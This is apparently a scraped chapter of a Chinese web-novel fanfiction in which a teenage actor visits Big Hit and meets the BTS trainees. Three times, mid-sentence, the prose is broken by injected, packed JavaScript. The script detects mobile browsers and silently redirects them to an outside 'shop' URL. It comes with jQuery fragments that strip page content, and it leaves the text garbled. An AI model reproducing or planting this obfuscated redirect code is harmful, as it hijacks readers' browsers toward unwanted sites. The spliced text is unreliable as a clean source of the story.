“大不了试完不喜欢,回来继续上学,或者继续演戏,对了,你合约不是刚结束吗?正好自由。” 安岁秋揉了揉额头,笑了,“知道了。” “乖。” 安宥拉满意地捏了捏弟弟的脸,突然想起什么,“对了,你带我去你们公司看看呗?我还没见过郑容和真人呢,电视上看着挺帅——” “姐~” “好好好,不开玩笑。”她举手投降。 出租车正好停在酒店门口,安宥拉压下安岁秋的肩膀,自己下车接过司机递来的行李箱。 她站在车窗外,对弟弟挥了挥手,声音清晰,“先去做,才会有结果。听懂了吗?” 那天的夕阳把办公室染成暖金色时,方时赫还沉浸在发现宝藏的兴奋里。于是他约了多年好友、同为音乐制作人的朴在浩在公司附近的烤肉店吃饭,刚落座就迫不及待地掏出手机。 “你猜我今天遇见什么了?” 方时赫眼睛发亮,小眼睛几乎要眯成两条缝,“一个宝藏,真正的宝藏!” 朴在浩熟练地翻烤着五花肉,头也不抬,“又是哪个?上次你也说发现个‘十年一遇的主唱’,结果人家第二天就去了JYP。” “这次不一样!” 方时赫身体前倾,压低声音,“街头表演,临时被拉上台的。” “贝斯——那把琴一看就是好货,弹得那叫一个稳,还会自己编和声,唱功不错,音色特别,辨识度也高。” 他顿了顿,补充道,“而且眉眼特别漂亮,虽然戴着口罩,但那双眼睛……啧,我就没见过那么好看的眼睛。” 朴在浩终于抬起头,夹了块烤得焦香的五花肉放进生菜里,卷好一把塞进嘴里。 “行行行,知道了,现在小孩是越长越逆天了,我们这些老家伙就该被淘汰了。” 他想起什么,自顾自感慨起来,“前两天我还陪老婆追剧呢,就是那部……《你能听到我的心吗》[2],你看过吗?” “哎一古,里面那小孩,长得那叫一个机灵漂亮,演戏还好。再看看我家那小子,皮得能上房揭瓦,昨天家长会老师又找我谈话……” 说着说着,朴在浩发现对面没声了。 方时赫举着生菜包肉的手停在半空,眯着本就不大的眼睛,整个人像被按了暂停键。暖黄的灯光在他圆脸上投下深深浅浅的阴影,那张总是表情丰富的脸此刻一片空白。 “咋了?” 朴在浩伸手在他眼前晃了晃,“肉要掉了。” 方时赫突然一个激灵,手里的生菜包肉掉进碟子,酱汁溅到衬衫袖口上。他浑然不觉,猛地一拍桌子——身上的肉跟着颤了一下,桌上的碗碟叮当作响。 “啊!” 他张大嘴巴,眼睛瞪到极限,“我想起来了!” 朴在浩被他吓了一跳,“想起什么了?” “千年一遇美少年[3]!” 方时赫声音拔高,“那个称号!是不是有个童星,媒体封的‘千年一遇美少年’?” “好像……是有这么个说法?” “之前哪个报道上看过……” 方时赫已经手忙脚乱地掏手机,肥短的手指在屏幕上戳得飞快。烤肉店的WiFi信号不太好,加载圆圈转了好几秒,搜索结果才跳出来。 第一个词条就是—— 安岁秋(An Se-chu) 1996.10.04 2008年6月与FNC签约,成为旗下第一位少年演员35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394852|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 下面是一长串作品列表。 方时赫的手指往下滑,越滑越慢。 2009年10月,在电视剧《原来是美男啊》中饰少年黄泰京[4]——天赋异禀却身世敏感,用傲娇毒舌伪装内心柔软的天才少年歌手。 2010年5月,在电视剧《巨人》中饰演少年李江慕[5]——家庭变故后从调皮顽童被迫长大,坚韧护弟妹、敢拼敢闯的少年。 2011年4月,在电视剧《你能听到我的心吗》中饰演童年车东株[2]——目睹惨剧致听障的财阀继承人,聪慧敏感,藏着对童年约定的执念。 2011年6月,在电影《熔炉》中饰演全民秀[6]——长期受虐的聋哑少年,隐忍倔强,因司法不公走向极端复仇的悲剧角色。 每一条后面都跟着媒体评价和观众反响,《熔炉》那条下面甚至有一行小字标注:“该电影上映后引发社会广泛讨论,促成相关法案修订讨论。” 屏幕的光映在方时赫脸上,那张圆脸从最初的兴奋,到困惑,到恍然大悟,最后凝固成一种复杂的空白。 烤肉在铁板上滋滋作响,油花迸溅,空气里弥漫着焦香。 “怎么了?” 朴在浩探头过来看手机,然后也愣住了,“难不成……这就是你刚才说的那个……” “是他。” 方时赫的声音干涩,“安岁秋。” 三个字,每个音节都沉甸甸的。 朴在浩看看手机,又看看好友那张失魂落魄的脸,突然明白了什么。 他小心翼翼地问:“你给他名片了?” “给了。” “他收了?” “收了。” “然后呢?” “他说会考虑。” 方时赫扯出一个比哭还难看的笑,“现在我知道他为什么说‘会考虑’了。” 朴在浩沉默地往他杯子里添了烧酒,透明的液体注入玻璃杯,泡沫升起又破碎。 方时赫盯着手机屏幕上那张新闻配图—— 应该是某次发布会抓拍,少年穿着简单的白衬衫,微微侧头看向镜头,深棕色眼眸清澈透亮,唇角带着礼貌的弧度。碎发柔软地搭在额前,脖颈间隐约能看到一根细细的红绳。 就是今天下午那个戴口罩的贝斯手。 一模一样的身形,一模一样的眼睛。 “我居然……” 方时赫喃喃道,“我居然对着一个演过国民剧、拍过现象级电影的演员,大谈特谈什么‘出道机会’、‘舞台梦想’……” 他想起自己滔滔不绝说的那些话,每一句都像个小丑的台词。 朴在浩拍了拍他的肩膀,“往好处想,至少证明你眼光毒。街头随便抓一个都是这种级别的苗子。” “这哪是苗子?” 方时赫苦笑,“这已经是棵长成了的树了。” “你看看这些作品,这些评价!!FNC把他当宝贝供着都来不及,怎么可能放人?” 他滑动屏幕,更多资料跳出来:媒体专访、观众评价、业内口碑。一条去年底的报道标题格外刺眼——《新生代演员安岁秋:用演技说话的‘美少年’》。 报道里写道:“在偶像化日益严重的演艺圈,安岁秋选择了一条不同的路。他拒绝过度曝光,专注演技打磨,从傲娇天才到聋哑少年,每个角色都展现出超越年龄的理解力和表现力……” 方时赫感觉心一点点往下沉。 所以,当电话响起时,方时赫完全没听出对面是谁的声音。 毕竟距离那天递出名片已过去一周,更何况他后来才明白,对方口中的“演员”不是指练习生,而是实打实有作品的出道演员,收到回复的可能性,在他看来几乎为零。 他只是觉得电话那头的声音很好听,音色条件优越,唱歌很有优势。 直到听筒里清晰传来“安岁秋”三个字,方时赫才从胡乱发散的思绪中猛地抓住那根红线—— 安岁秋! 工作人员只听见“哐当”一声,便看见办公室里那团模糊的身影,正努力迈着不长的腿,快步冲向楼梯间。 尿急吗? ------------------------ 参考文献: [1] Silas H. Rhodes, Burne Hogarth(创). 纽约视觉艺术学院[S]. 美国纽约, School of Visual Arts, 1947. [2] 金尚昊(导), 黄正音, 金载沅(主). 你能听到我的心吗[TV]. 姜澯熙(饰童年车东株). 首尔, MBC, 2011-04-02 . [3] 日本媒体/网络. 道枝骏佑[PE]. 千年一遇美少年/千年难得一见美少年. 日本, 2017. [4] 洪成昌(导), 张根硕, 朴信惠(主). 原来是美男啊[TV]. 姜秀韩(饰少年黄泰京). 首尔, SBS, 2009-10-07 . [5] 刘仁植(导), 李凡秀, 朴真熙(主). 巨人[TV]. 吕珍九(饰少年李江慕). 首尔, SBS, 2010-05-10 . [6] 黄东赫(导), 孔刘, 郑有美(主). 熔炉[MOV]. 白承焕(饰全民秀). 首尔, 韩国, 2011-09-22. 4. 初探样本环境 安岁秋将手中的名片举到眼前,第三次核对了上面的地址。 江南区新沙洞岛山大路16街13-20[1],嗯,门牌号分毫不差。 可眼前这栋建筑—— 墙皮斑驳脱落,入口窄小而陈旧,矮小的楼栋在周围现代建筑的映衬下显得格格不入。 实在难以与“娱乐公司”四个字联系起来。 确实是Big Hit Entertainment,白色招牌上的字迹甚至有些褪色。 被忽悠了。 安岁秋脑海里闪过这个念头,虽然从一开始就没期待会是SM、JYP那样气派的大公司,但方时赫那天在街头侃侃而谈的自信模样,那番关于音乐理念、未来发展、专业设备的热情演说,让他以为至少…… 至少不会太差。 理想与现实间的落差总是猝不及防。 初夏的风吹过街道,卷起地面零星纸屑,安岁秋抬手将被风吹乱的额发捋向耳后,指尖触到颈间那根细红绳。 走吗? 他低头看向手中朴素的名片,想起母亲常挂在嘴边的那句中国俗语—— 来都来了。 算了,等等吧。 金硕珍拎着沉甸甸的外卖袋走出餐厅时,第一眼就注意到了那个站在公司门口的男孩。 个子不高,身形单薄,简单的灰蓝格纹衬衫,罩着白T恤,深色牛仔裤,帆布鞋。最引人注目的是颈间那根细细的红绳项链,在白皙的皮肤上格外显眼。 口罩遮住了大半张脸,只露出一双眼睛,微卷的黑发被风吹起时,能看清那格外精致的眉眼。 男孩正低头看着手里的什么东西,眉头微蹙,眼神里透着几分困惑,几分犹豫,明明周身散发着清冷疏离的气场,却因那低垂的眉眼,莫名添了几分可怜兮兮的味道。 像只找不到家的卷毛小白狗,金硕珍脑海里跳出这个比喻。 随即他赶紧摇头—— 真是带孩子带出毛病了,看谁都像需要照顾的弟弟,人家说不定只是路过呢。 “谢谢阿姨。” 他转身对餐厅老板娘道谢,接过最后几袋打包盒,塑料袋勒得手指发红,沉甸甸的分量让他手臂发酸。 今天练习量确实超标了。 孙成德老师像吃了火药似的,一遍遍抠动作细节,郑号锡和田柾国那些跳舞好的还能勉强跟上,他和金南俊这种基础薄弱的,简直是在地狱里打滚。 但看着弟弟们累瘫在地板上、肚子咕咕叫的模样,他还是心软了,主动承担起买饭的任务,想着快点填饱那群饿狼的肚子。 “硕珍哥!” “哥!” 刚走到马路对面,两个身影就从公司门口窜了出来,田柾国和金泰亨像饿了三天的幼兽,眼睛发亮地扑向食物。 “哥怎么这么慢!要饿死了!”金泰亨一边抱怨一边抢过金硕珍左手的外卖袋。 “真的好饿……”田柾国小声附和,接过了右手的袋子。 重担卸去,金硕珍松了口气,活动了下发僵的手指,两个小家伙已经蹦蹦跳跳冲向公司大门,满心满眼只有食物,完全没注意到门口站着的那个身影。 金硕珍却注意到了。 走近了才看清,男孩的眼眸是浅棕色的,眼尾微微上扬,睫毛纤长浓密。他垂着眼时,睫毛在眼下投出一小片阴影,衬得皮肤愈发白皙,身姿挺拔地站在那儿,安静得像幅画。 与金泰亨和田柾国吵闹的背影形成了鲜明对比。 莫名有些……落寞。 金硕珍脚步顿了顿,等他反应过来时,已经不自觉走到了对方面前。 安岁秋正在心里嘀咕,“那个看起来不太靠谱的方PD到底什么时候下来”,视线里突然出现了一双有些旧的白色运动鞋。 他抬眼,顺着修长的腿向上看—— 一张很标准的帅脸。乌黑的短发柔顺地搭在额前,鬓角被汗水浸湿,贴在皮肤上,眼尾微微上扬,此刻正带着温润的笑意看着他。 “你好?” 安岁秋迟钝地左右看了看,街上没什么人,对方确实是在跟自己说话,他立刻90度鞠躬,声音透过口罩有些闷。 “您好!” 金硕珍被他这郑重的反应弄得一愣,平时和公司里那群没大没小的弟弟相处惯了,突然遇到这么守规矩的小孩,反而有些手足无措,他连忙摆手。 “不用不用,我看你在门口站了很久了,是想找人吗?还是……” “PD nim!” 田柾国和金泰亨刚迈进公司大门,就看见方时赫从楼梯上“跑”下来的身影,两人连忙九十度鞠躬问好。 方时赫此刻满心都是他未来的招财树,只匆匆点了点头,压根没注意俩小孩手里拎着远超正常分量的外卖,更没听见他们压低声音的惊叹。 “柾国啊,我居然看见方PD跑步了……我是在做梦吗……” “我也是……有生之年系列……” 金硕珍被打断的话就此悬在半空。 方时赫深吸几口气,努力平复略显急促的呼吸,然后摆出那副标志性的、看起来十分靠谱的笑容,开始了他的招揽计划。 “安岁秋xi!” 他热情地伸出手,“很高兴你能选择我们公司啊!” 金硕珍在一旁听得嘴角微抽。 人家明明才第一次来公司,到PD嘴里就直接变成“选择”了,这偷换概念的功夫,真是日益精进。 安岁秋礼貌地握了握手,目光不自觉地瞟向旁边的金硕珍。 他本想跟这位好心的帅哥说“我等的人到了”,但想起刚才那两个冲出来的小孩和这位明显认识,便打消了念头,只是又悄悄看了金硕珍两眼。 这点小动作哪逃得过方时赫的眼睛,他眼睛一眯,顺势把金硕珍往安岁秋身边推了推,笑容满面得活像给人介绍对象的媒婆。 “这位,金硕珍,也是我们公司的练习生。怎么样,长得帅吧?” 安岁秋诚实地点头,确实帅,是那种非常标准、适合上镜的帅气。即使穿着简单的白T恤运动裤,汗湿的头发有些凌乱,依然透着一股温润的公子气质。 虽然此时的他完全没想到,这位“温润公子”日后会疯成什么模样。 金硕珍则一脸新奇地看向方时赫,他知道自己长得不差,但从PD嘴里听到这种直白的夸奖…… 怎么莫名有种要被卖了的感觉? 方时赫满意地看着眼前的场景,心里的小算盘打得噼啪响。 演员之间是不是会互相吸引他不知道,但他知道公司里这群颜值实力在线的练习生,完全可以作为招揽筹码。 正值青春年少的孩子们,最容易因为同伴、因为友情留下来了。 之前那几个,不就是这么被拐进来的吗? 让谁去接近这个新来的孩子呢? 田柾国?年龄相仿,但太容易害羞了。 金泰亨?自来熟是自来熟,但说话有点让人听不懂,脑回路有点奇怪…… 方时赫正盘算着,他的隐藏王牌已经自发行动了。 “你好,安岁秋xi。” 金硕珍微微弯腰,让自己的视线与对方齐平。 “你多大了?还是初中生吗?” “您好,前辈。” 安岁秋乖巧回应,“我是96年10月生的,开学就上高中了。” 小孩毛茸茸的发顶正好到金硕珍下巴的高度,他仰起头时,那双漂亮的棕色眼睛透过口罩上方看向金硕珍,声音里还带着未褪的奶气。 金硕珍手指无意识地蜷了蜷,真想摸摸头。 哇,真的好像一只卷毛小狗。 后来的金硕珍无数次痛心疾首地表示:这哪里是小狗?分明是只黑心小狐狸!到底是谁把他的乖崽带坏的! “15岁啊……” 金硕珍笑容更温和了些,“别叫前辈了,直接叫我硕珍哥吧。我92年的,比你大四岁。” 和姐姐一样大呢。 安岁秋对这位温柔帅哥的好感度悄悄往上蹭了一截,顺从地改口,“硕珍哥。” “嗯。” 金硕珍心里十分满意,终于来了个乖巧的弟弟。 至于田柾国和金泰亨? 唉,人还是应该保持适当距离,太熟了容易失去威严,这是金硕珍摸爬滚打一年后得出的宝贵经验。 “硕珍哥可以叫我安安,或者岁秋。” “安.岁.秋。” 金硕珍轻声重复,笑道,“名字很好听,我叫你岁秋吧?” 三人就这么聊着往楼里走—— 准确说,是金硕珍和安岁秋在聊,方时赫背着手跟在后面,笑得一脸慈祥,像退休后在公园里遛弯似的。 他瞥见还杵在门口的两个小孩,还心情颇好地招了招手,“泰亨,柾国,过来。” 田柾国和金泰亨磨磨蹭蹭地走过来,向方时赫问好的同时,还自以为隐蔽地偷瞄金硕珍旁边那个戴口罩的陌生男孩。 金硕珍简直要被气笑了—— 那大包小包的外卖盒,方PD眼睛再小也不至于看不见。 要不是现在有安岁秋在场,估计早就开始念叨“身材管理”、“控制饮食”,然后拉着孙成德给他们加练了。 方时赫眼珠转了转,像是突然想起什么似的,拍了拍安岁秋的肩膀,“啊,安岁秋xi,实在不好意思。我中午约了朋友吃饭,很重要,没法推脱……” 安岁秋刚想说“没关系,我自己看看就好”,眼前就突然多出来两张小脸。 “?” 一个皮肤白皙,长着兔子似的圆眼睛;一个鼻梁高挺,眉眼深邃得像个小混血,三双风格迥异的眼睛就这么对上了。 被强行推出来“营业”的金泰亨默默举起手,咧开四方嘴。 “嗨。” 田柾国则是眨眨眼,瞬间低头盯着自己的鞋尖。 安岁秋默默打量着这两人,心里有些疑惑,不是说要做嘻哈组合吗?怎么一个两个三个都长着能去演戏的帅脸? “硕珍啊,”方时赫的声音适时响起,“你先带岁秋逛逛公司,顺便互相熟悉熟悉。未来要好好相处啊!” 他说完便转身离开,那背影里都透着一股“计划通”的快乐。 徒留金硕珍一个人看着两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394853|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个弟弟和一个准弟弟,三个小孩大眼瞪大眼,只觉得头大。 最后四个人还是一起上了楼。 安岁秋这才知道,那个皮肤略深、笑起来四方嘴的男孩不是混血,他叫金泰亨,95年生,来自大邱。而那个害羞的兔子眼男孩叫田柾国,97年生,来自釜山。 “岁秋xi原来是弟弟呀!” 金泰亨眼睛一亮,竖起一根手指,“我比你大一岁哦!” 安岁秋从善如流地改口,“泰亨哥。” 金泰亨顿时笑开了花,四方嘴咧得大大的。 至于田柾国…… 安岁秋还是第一次遇到比自己小的男孩,不知道是被金泰亨的欢脱传染了,还是某种莫名的“哥哥心态”作祟,他主动打破了距离感。 “你可以叫我岁秋哥。” 田柾国亦步亦趋地跟在金硕珍身边,闻言抬起头,又迅速低下,闷闷地喊了声,“岁秋哥。” 那声音还带着未变声的青涩少年感,软软糯糯的。 安岁秋忽然理解了FNC那些哥哥们为什么总喜欢逗他,原来当哥哥是这种感觉,口罩上的眉眼不由得弯了弯。 田柾国其实是个小颜控。 刚才在楼下,安岁秋、金硕珍和方时赫站在一起时,他就注意到了这个陌生人—— 虽然口罩遮住了大半张脸,但从衬衫袖口露出的修长手指,到那双没被碎发遮挡的漂亮眼睛,都透着一种干净的帅气。 田柾国自以为隐蔽的偷瞄,其实早就被安岁秋和金硕珍尽收眼底。 金泰亨就更不用说了,他根本是明目张胆地盯着看安岁秋,“安安”“安安”的喊得非常顺口,哪里像刚认识的模样。 安岁秋喜欢毛茸茸的小动物。 小狗,小猫,兔子,一切柔软温暖的生命。 而眼前这两个男孩,一个像活泼的小狗,一个像害羞的兔子,正好戳中他的喜好。 明明自己也没多大,他却莫名生出一股“哥哥的责任感”,主动从田柾国手里接过那几袋外卖,“我来拿吧,你在前面带路就好。” 田柾国耳朵微红,小声说了句“谢谢岁秋哥”,乖乖走到前面。 所以当练习室的门被推开时,郑号锡下意识地以为跟在田柾国身后的是金泰亨—— 安岁秋和田柾国身高相仿,又被对方挡了大半,从郑号锡半躺在地板上的角度,根本看不清来人的脸。 一上午的魔鬼训练让郑号锡连抬头的力气都没有了。 他身上那件松垮的背心经过一上午的蹂躏,领口已经歪到一边,露出一大片胸膛。 不过这也没什么,近一年的相处下来,这群男孩之间早没了什么顾忌。就连最初脸皮最薄的田柾国,现在也能面不改色地无视大家这副邋遢模样。 “终于回来了……” 郑号锡有气无力地伸出手,目标明确地探向紫菜包饭的袋子。 “我要饿死了……” 指尖即将触到塑料袋时,他余光瞥见了那只手—— 手指修长,骨节分明,皮肤白皙,手背上有一颗浅褐色的小痣。 等等,金泰亨没这么白,硕珍哥没这么矮,而且……他们谁手背上有痣来着? 郑号锡动作僵硬地抬起头。 正对上一双陌生的眼睛,浅棕瞳仁,眼尾轻挑,长睫垂落,一双桃花眼清亮动人。只是此刻,这双眼睛正微微睁大,瞳孔里清晰地倒映出他衣衫不整的模样—— 郑号锡的大脑宕机了一秒。 他缓慢地、一寸寸地低下头,看向自己几乎半裸的胸口,和某个需要马赛克重点保护的部位…… !!! “号锡哥?你干嘛呢?” 金泰亨的大嗓门从门口传来,郑号锡猛地扭头,看见金泰亨和金硕珍还站在门边,那么他面前这个…… 郑号锡触电般缩回手,火速把背心领口扯正,在对方清澈目光的注视下,耳朵以肉眼可见的速度红透了。 “不、不好意思……” 他结结巴巴地说,“我认错人了……” 金南俊原本还躺在地板上闭目养神,听到动静不对才睁开眼。 练习室里不知何时多出一个戴口罩的陌生人,眉眼精致,看起来还有点眼熟,而他的好亲故郑号锡,正红着耳朵、手足无措地站在对方面前。 练舞练到智商暂时下线成1.48的金南俊没看懂这是什么情况。 金南俊看向最靠谱的大哥金硕珍,后者正无奈地捂着脸,完全没接收到他的求助信号。 最小的忙内田柾国不知为何也脸红了,而最虎的那个—— 金泰亨小手一摆,夹着嗓子,用夸张的腔调喊道: “耍——流——氓——呀——!” 练习室里一片死寂。 窗外,初夏的阳光正好。 ------------------------ 参考文献: [1] Big Hit Entertainment. Big Hit旧办公楼[AD]. 首尔江南区新沙洞岛山大路16街13-20, 韩国, 2005-2018. 5. 身份暴露 在金硕珍一番努力维持秩序后,练习室里的气氛终于勉强回归正常。 六个男生围着散落一地的外卖盒坐下,如果忽略郑号锡依旧泛红的耳尖和安岁秋眼中尚未完全褪去的茫然,这画面甚至称得上和谐。 “咳咳……” 安岁秋清了清嗓子,努力将刚才那幕限制级画面从脑海中驱逐,试图把画风拉回正轨。 “前辈们好,我是安岁秋,96年生,来自春川。方PD邀请我来公司参观……” 话没说完,他就被金泰亨往手里塞了双筷子。 嗯?不是? 安岁秋记得自己明明是攥着手的,这筷子怎么塞进来的? “安安呀,先吃饭吧!” 金泰亨嘴里塞满了炸酱面,脸颊鼓鼓的像只仓鼠,嘴角还沾着一点棕色的酱汁。他含糊不清地说着,眼睛亮晶晶的。 “你不饿吗?” 作为刚上任的“哥哥”,金泰亨决心要好好照顾新来的弟弟,弟弟们应该都喜欢吃饭吧? 反正田柾国是——那孩子对食物的热情永远充沛。 被点名的田柾国默默将一盒紫菜包饭往安岁秋面前推了推,没说话,只是抬起那双兔子似的圆眼睛,用上目线小心翼翼地瞅着他。他小口咀嚼着饭团,腮帮子一鼓一鼓,模样乖巧极了。 但此刻这只“乖巧兔子”心里正打着小算盘:吃饭总要摘口罩的吧?他对这位新哥哥口罩下的脸好奇好久了。 金硕珍不知两小只的心理活动,只温和地笑了笑,“对,一边吃一边说吧,都这个点了,肯定饿了。” 安岁秋点点头,却注意到对面的金南俊正盯着他口罩上方露出的小半张脸出神,那眼神专注得几乎要在他脸上烧出个洞来。 金南俊确实觉得这个眉眼莫名熟悉,可怎么也想不起在哪见过。 如果是其他公司的练习生,声音应该有印象才对…… 安岁秋的声音很特别。 同样是少年音色,却和田柾国那种明亮清脆的质感不同,他的嗓音里带着一丝慵懒的磁性,像午后阳光里舒展的猫,虽然还带着未褪的青涩,但这种反差反而有种独特的吸引力。 郑号锡还沉浸在自己刚才衣衫不整的尴尬中,完全没注意到自家亲故的异常。 还是金硕珍看不下去,偷偷拍了金南俊一下,用眼神示意他收敛点——别把新来的弟弟吓跑了。 金南俊这才依依不舍地低下头。 安岁秋悄悄松了口气,来之前他其实有些忐忑。 听说搞嘻哈的人都有些锋芒,脾气可能不太好相处。 但现在看来…… 金硕珍是温柔靠谱的哥哥,田柾国像只害羞的兔子,金泰亨则是活泼开朗的小狗。至于另外两位,一个看起来有点呆萌,另一个……嗯,挺自由的。 画风虽然有点不正常,但至少不吓人。 他听话地摘下口罩,夹起一块紫菜包饭送进嘴里,慢慢咀嚼。 安岁秋其实很挑食,甚至有些轻微的厌食倾向,很多食物都引不起他的兴趣,饥饿感也总是来得迟缓。 若不是天生体质还算不错,恐怕早就营养不良了,但这是别人的好意,他不想扫兴,打算象征性地吃几口。 他没注意到,口罩摘下的瞬间,整个练习室都安静了一瞬。 安岁秋正皱着眉,努力忽略紫菜包里那股讨厌的胡萝卜味。 他眉头微蹙,嘴唇轻抿,白净的脸上露出几分嫌弃的神色。但这表情非但没折损他的好看,反而让那张过分精致的脸多了几分鲜活的人气。 田柾国的眼睛瞬间亮了。 果然!!! 他心里小小地欢呼了一下,真的非常非常非常好看。贫乏的词汇量让他只能叠加三个“非常”来表达震撼。 那张脸甚至比他一直觉得很帅的金硕珍和金泰亨还要戳中他的审美点,尚未完全长开的五官带着一种雌雄莫辨的精致感,好在略显硬朗的下颌线条添了足够的少年气,不会让人错认性别。 金硕珍挑了挑眉,忽然明白方时赫刚才为什么那么紧张又兴奋了。 这孩子就算什么都不会,单凭这张脸送去SM,估计也能直接出道。不过以他对自家PD的了解,方时赫绝不是只看脸的人——所以反过来证明,这孩子至少是真有点本事的。 郑号锡也忘了刚才的尴尬,不自觉发出一声轻叹,“哇……” 他腰背挺直,眼睛一眨不眨,结果因为安岁秋闻声投来的目光,脸“唰”地又红了,整个人缩成一团,变回那朵害羞的小蘑菇。 好在金泰亨的举动及时转移了安岁秋的注意力。 虽然郑号锡也不知道这算不算好事。 “呀!” 金泰亨突然弹坐起来,手脚并用地爬到安岁秋身边,侧着头把那张混血般深邃的小脸凑到对方面前。 他眨着一单一双的漂亮眼睛,里面盛满了期待,“瑶玲啊,你是带我去找圆梦书的吗?” “???” 安岁秋觉得自己可能听力出了问题,或者韩语没学好。 是的,金泰亨十岁那年,曾坚信自己叫“江贤”。 因为他当时正好三年级,动画片《瑶玲啊瑶玲》[1]里的男主角江贤也三年级。 哪有这么巧的事?这一定是命运的暗示! 他金泰亨的使命就是等待属于自己的小狐仙瑶玲,然后一起去冒险,寻找神奇的圆梦书! 当年金泰亨甚至试图偷拿户口本去改名,在父亲的坚决反对下才勉强让步,退而求其次问能不能改叫“金贤”。 当然,也没成功。 不然现在站在这里的就该是金贤了。 这么多年过去,金泰亨虽然知道当年的想法有些天真,但他依然相信:就算自己不是江贤,这世界上一定存在着真正的江贤。 而昨晚,他罕见地做了一个美梦。 梦里他真的和瑶玲一起冒险,打败了邪恶的黑狐仙。 嘿嘿~ 美梦成真的幸福感让金泰亨在睡梦中笑出了声,把半夜起床上厕所的郑号锡吓得撞坏了门把手。 但一心以为自己撞鬼了的郑号锡,根本没注意这个细节,他哆嗦着躲回被窝后,这口锅自然而然地落在了战绩斐然的金南俊头上。 金南俊没话讲。 他只是苍白地否认,足足被金硕珍和闵玧其念叨了一早晨,他怎么也想不到,这一切的源头竟是一部七年前的少女动画。 今早醒来时,金泰亨还安慰自己:那个梦大概是给十岁的自己一个圆满结局,说明江贤已经完成了冒险,瑶玲特意托梦让他安心。 直到刚才,安岁秋摘下口罩。 毛茸茸的微卷黑发,白皙透亮的皮肤,小狐狸般灵动的眼睛,还有脖子上那根细细的红绳……这分明就是他等待多年的瑶玲本玲! 不对,如果是男孩子,还能叫瑶玲吗? 安岁秋面对金泰亨闪闪发亮的眼睛,一时不知该作何反应。 他默默往后挪了挪,有些无奈,啊,又一个李正信式的存在。 他实在不太擅长应对这种跳脱的四次元,不过好在这些年被FNC的哥哥们“锻炼”出了些免疫力,至少不会当场失态。 金硕珍面带微笑,一脸''和善''地把金泰亨推回了原来的位置,心累地跟安岁秋解释道:“你别紧张,泰亨他就是思维有点跳跃,没有什么恶意的……” “啊!你你!!” 话音未落,沉默许久的金南俊突然大喊了一声,猛地站起身,手指着安岁秋,嘴巴张得能塞进鸡蛋。 动作太大,一脚踢翻了面前刚打开的炸酱面—— “哗啦!” 热气腾腾的面条洒了一地,酱汁四溅。 金硕珍闭了闭眼,只觉得自己很命苦。 “民、民、民秀!” 金南俊的声音拔高了八度,几乎破音,“全民秀!” 郑号锡从没听过自家亲故发出这么尖锐的声音,或许南俊真该试试当vocal? 金南俊148的智商终于重新上线,他想起来了! 上周和玧其哥一起看的电影《熔炉》,里面那个聋哑少年全民秀! 不就是眼前这张脸吗?难怪觉得声音不熟,角色设定是聋哑人,根本没有台词啊! 他左右看看,除了安岁秋礼貌地对他笑了笑,其他人都是一脸茫然。 对了,上周只有他和玧其哥去看了那部电影,硕珍哥和号锡不敢看这么沉重的题材,泰亨和柾国年龄不够。 此刻的金南俊,连个能分享震撼的知音都找不到。 人生就是这么戏剧性。 下一秒,他心心念念的知音就出现在了门口。 闵玧其刚上完厕所回来,还没走到练习室就听见金泰亨的大呼小叫,什么玩意?瑶玲? 他没听懂,也没在意,毕竟这小子嘴里的话都挺难理解的。 接着是金南俊那声堪称惨烈的惊呼。 啧,他暗暗决定,绝不能让这家伙去唱歌,耳朵受不了。 全民秀?那不是电影里那个孩子吗? 金南俊在干嘛?给硕珍哥和号锡剧透吗?想看去电影院看啊。 至于泰亨和柾国……那电影太暗黑了,未成年还是别接触的好。 想起那部电影,闵玧其沉默了一瞬,上周他和金南俊看完后在电影院坐了许久才起身,回去的路上两人都没说话,一个去了汉江边散步,一个钻进工作室写歌。 闵玧其深知自己的渺小,他没有什么伟大的力量,改变不了世界。但他还有音乐,还有笔下的歌词,那些音符和文字或许轻如鸿毛,但无数鸿毛堆积,也许能掀起一阵风。 所以这些天他把自己关在了工作室里,一边消化电影带来的冲击,一边将那些情绪转化成旋律和词句。 命运有时就是这样奇妙。 当闵玧其第两千五百一十八次推开这扇普通的门时,从未想过门后会遇见自己正在创作的那首歌的灵感来源之一。 《熔炉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394854|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 》确实是安岁秋演过挑战最大的角色。不仅需要演技,要学手语,更要精准把握那种绝望中挣扎的情绪。 一个父亲智障、母亲失踪,和弟弟一起长期遭受性侵和虐待的聋哑少年。在弟弟自杀后勇敢站上法庭,却遭遇伪证、司法腐败、家庭背叛,最终选择在弟弟死去的铁轨上与施暴者同归于尽,是整部电影悲剧色彩最浓烈的角色。 电影是去年拍的,过程坎坷,但今年终于成功上映。 